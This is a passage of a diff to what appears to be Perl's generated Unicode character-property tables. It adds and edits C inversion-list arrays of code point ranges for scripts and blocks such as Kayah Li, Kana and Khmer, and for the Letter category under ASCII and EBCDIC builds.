+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_KALI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0xA900,
+	0xA930
+};
+
+static const UV PL_KANA_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x3030,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303C,
+	0x303E,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x3100,
+	0x31F0,
+	0x3200,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0xFE45,
+	0xFE47,
+	0xFF61,
+	0xFFA0,
+	0x1B000,
+	0x1B001
+};
+
+static const UV PL_KANAEXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B100,
+	0x1B130
+};
+
+static const UV PL_KANASUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B000,
+	0x1B100
+};
+
+static const UV PL_KANBUN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3190,
+	0x31A0
+};
+
+static const UV PL_KANGXI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2F00,
+	0x2FE0
+};
+
+static const UV PL_KATAKANAEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x31F0,
+	0x3200
+};
+
+static const UV PL_KHAR_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59
+};
+
+static const UV PL_KHMERSYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x19E0,
+	0x1A00
+};
+
+static const UV PL_KHMR_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x19E0,
+	0x1A00
+};
+
+static const UV PL_KHOJ_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAE6,
+	0xAF0,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F
+};
+
+static const UV PL_KNDA_invlist[] = { /* for all charsets */
+	39,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0x1CDA,
+	0x1CDB,
+	0x1CF5,
+	0x1CF6,
+	0xA830,
+	0xA836
+};
+
+static const UV PL_KTHI_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x966,
+	0x970,
+	0xA830,
+	0xA83A,
+	0x11080,
+	0x110C2
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_L_invlist[] = { /* for ASCII/Latin1 */
+	1171,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x971,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE40,
+	0xE47,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16F1,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2183,
+	0x2185,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3007,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6E6,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_L_invlist[] = { /* for EBCDIC 1047 */
+	1197,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x42,
 	0x4A,
 	0x51,
@@ -68729,8 +272242,6 @@
 	0x5A,
 	0x62,
 	0x6A,
-	0x6D,
-	0x6E,
 	0x70,
 	0x79,
 	0x80,
@@ -68746,7 +272257,11 @@
 	0xA2,
 	0xAA,
 	0xAC,
+	0xAD,
+	0xAE,
 	0xAF,
+	0xBA,
+	0xBB,
 	0xC1,
 	0xCA,
 	0xCB,
@@ -68758,7 +272273,7 @@
 	0xE2,
 	0xEA,
 	0xEB,
-	0xFA,
+	0xF0,
 	0xFB,
 	0xFF,
 	0x100,
@@ -68771,11 +272286,11 @@
 	0x2ED,
 	0x2EE,
 	0x2EF,
-	0x300,
+	0x370,
 	0x375,
 	0x376,
 	0x378,
-	0x37B,
+	0x37A,
 	0x37E,
 	0x37F,
 	0x380,
@@ -68791,8 +272306,6 @@
 	0x3F6,
 	0x3F7,
 	0x482,
-	0x483,
-	0x488,
 	0x48A,
 	0x530,
